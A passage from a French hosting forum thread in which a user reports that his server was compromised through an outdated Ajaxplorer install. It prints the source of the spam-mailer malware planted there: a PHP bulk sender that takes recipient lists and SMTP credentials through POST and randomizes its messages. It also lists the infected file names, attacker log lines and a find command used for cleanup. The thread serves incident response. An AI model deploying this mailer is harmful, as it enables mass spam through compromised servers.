$body = str_replace("\r\n", "\n", $body);
$body = str_replace("\n", "\r\n", $body);
while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
public function DKIM_Add($headers_line, $subject, $body) {
$DKIMsignatureType = 'rsa-sha1';
// Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple';
// Canonicalization of header/body $DKIMquery = 'dns/txt';
// Query method $DKIMtime = time() ;
// Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$current = '';
foreach($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
}
elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
}
else {
if($current && strpos($header, ' =?') === 0){
$current .= $header;
}
else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)) ;
// Copied header fields (dkim-quoted-printable $body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body) ;
// Length of body $DKIMb64 = base64_encode(pack("H*", sha1($body))) ;
// Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == '')? '' : " i=" . $this->DKIM_identity . ";";
$dkimhdrs = "DKIM-Signature: v=1;
a=" . $DKIMsignatureType . ";
q=" . $DKIMquery . ";
l=" . $DKIMlen . ";
s=" . $this->DKIM_selector . ";\r\n". "\tt=" . $DKIMtime . ";
c=" . $DKIMcanonicalization . ";\r\n". "\th=From:To:Subject;\r\n". "\td=" . $this->DKIM_domain . ";" . $ident . "\r\n". "\tz=$from\r\n". "\t|$to\r\n". "\t|$subject;\r\n". "\tbh=" . $DKIMb64 . ";\r\n". "\tb=";
$toSign = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs.$signed."\r\n";
}
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) {
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
class phpmailerException extends Exception {
public function errorMessage() {
$errorMsg = '' . $this->getMessage() . "
\n";
return $errorMsg;
}
}
// macroces ///////////////////////////////////////////////////////// function alter_macros($content) {
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0;
$i < count($matches[1]);
$i++) {
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content) {
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0;
$i < count($matches[0]);
$i++) {
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0;
$i < count($matches[0]);
$i++) {
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content) {
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0;
$i < count($matches[0]);
$i++) {
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content) {
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0;
$i < count($matches[0]);
$i++) {
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length) {
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0;
$i < $length;
$i++) {
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes) {
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil) {
return str_replace("[FTEIL]", $fteil, $content);
}
///////////////////////////////////////////////////////////////// function sendSmtpMail( $host, $port, $login, $pass, $from, $name, $to, $subject, $body ) {
try {
$mail = new PHPMailer(true);
$mail->IsSMTP();
$mail->Host = $host;
$mail->Port = $port;
if ($port == 587) {
$mail->SMTPSecure = 'tls';
}
elseif($port == 465) {
$mail->SMTPSecure = 'ssl';
}
$mail->SMTPAuth = true;
$mail->Username = $login;
$mail->Password = $pass;
$mail->SetFrom($from, $name);
$mail->AddReplyTo($from, $name);
$mail->AddAddress($to);
$mail->Subject = $subject;
$mail->MsgHTML($body);
if (!$mail->send()) {
return $mail->ErrorInfo;
}
else {
return 0;
}
}
catch (Exception $e) {
return $mail->ErrorInfo;
}
}
if (isset($_POST["ping"])) {
echo $_POST["ping"];
exit();
}
if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["acc"])) {
exit();
}
$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$message = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$acc = @unserialize(base64_decode($_POST["acc"]));
$good = 0;
$bad = 0;
$last_error = 0;
foreach ($emails as $uid=>$email) {
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = alter_macros($message);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
$message = fteil_macros($message, $uid);
$from = $froms[array_rand($froms)];
$from = alter_macros($from);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
$last_error = sendSmtpMail( $acc[0], $acc[1], $acc[2], $acc[3], $acc[4], $from, $email, $theme, $message);
if ($last_error === 0) {
$good++;
}
else {
$bad++;
$good = count($emails) - $bad;
break;
}
}
$res["result"]["error_text"] = $last_error === FALSE ? 0 : $last_error;
$res["result"]["good"] = $good;
$res["result"]["bad"] = $bad;
$res["result"]["check"] = 1;
echo base64_encode(serialize($res));
exit();
Lien vers le commentaire
Partager sur d’autres sites

Oui, les logs de tous mes serveurs virtuels sont remplis de scans de vulnérabilités. C'est pour ça qu'il faut toujours mettre à jour tous les programmes qui sont installés, ce que je n'avais pas fait avec Ajaxplorer par exemple... :s:

Lien vers le commentaire
Partager sur d’autres sites

Encore un petit article concernant le Malware dont j'ai eu la visite : http://arstechnica.com/security/2015/04/30/spam-blasting-malware-infects-thousands-of-linux-and-freebsd-servers/

 

Et un petit mot pour vous dire qu'il n'est pas revenu, Ajaxplorer semble bien être la porte d'entrée qu'il a utilisé. :angelic:  :tongue:  :sleepy:

Lien vers le commentaire
Partager sur d’autres sites

Bon, je pense avoir fait le tour du serveur et j'ai supprimé tous les fichiers infectés : .code.php, .menu16.php, ini.php ou encore .test.php qui étaient disséminées dans plusieurs dossiers accessibles en écriture. :angelic:

 

Il y avait également tout un dossier contenant énormément de fichiers dans /ajaxplorer/plugins/editor.zoho/agent/files/, notamment les fichiers license.php, systemscash.php, afw.php ou afm.php qui permettaient de faire du SPAM à grande échelle.

 

J'ai utilisé la commande suivante pour lister tous les fichiers .php du dossier /var/www modifiés depuis 7 jours, c'est beaucoup plus facile. ;)

find . -mtime -7 -iname "*.php"

J'ai retrouvé dans les fichiers de log de Nginx les commandes POST correspondantes :

92.63.110.196 - - [27/Apr/2015:22:38:13 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/license.php HTTP/1.1" 200 379 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0"

197.159.189.172 - - [28/Apr/2015:11:08:05 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/systemscash.php HTTP/1.1" 200 11390 "" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)" 

5.135.81.18 - - [28/Apr/2015:12:11:58 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/afw.php HTTP/1.1" 200 15 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)" 

5.135.81.18 - - [28/Apr/2015:12:22:58 +0200] "POST /ajaxplorer/plugins/editor.zoho/agent/files/skdsnffx/afm.php HTTP/1.1" 504 584 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)" 

J'ai supprimé Ajaxplorer qui ne m'était d'aucune utilité et je n'ai pas constaté depuis d'activité suspecte. :shifty:

Lien vers le commentaire
Partager sur d’autres sites

Archivé

Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.

×
×
  • Créer...

Information importante

Nous avons placé des cookies sur votre appareil pour aider à améliorer ce site. Vous pouvez choisir d’ajuster vos paramètres de cookie, sinon nous supposerons que vous êtes d’accord pour continuer.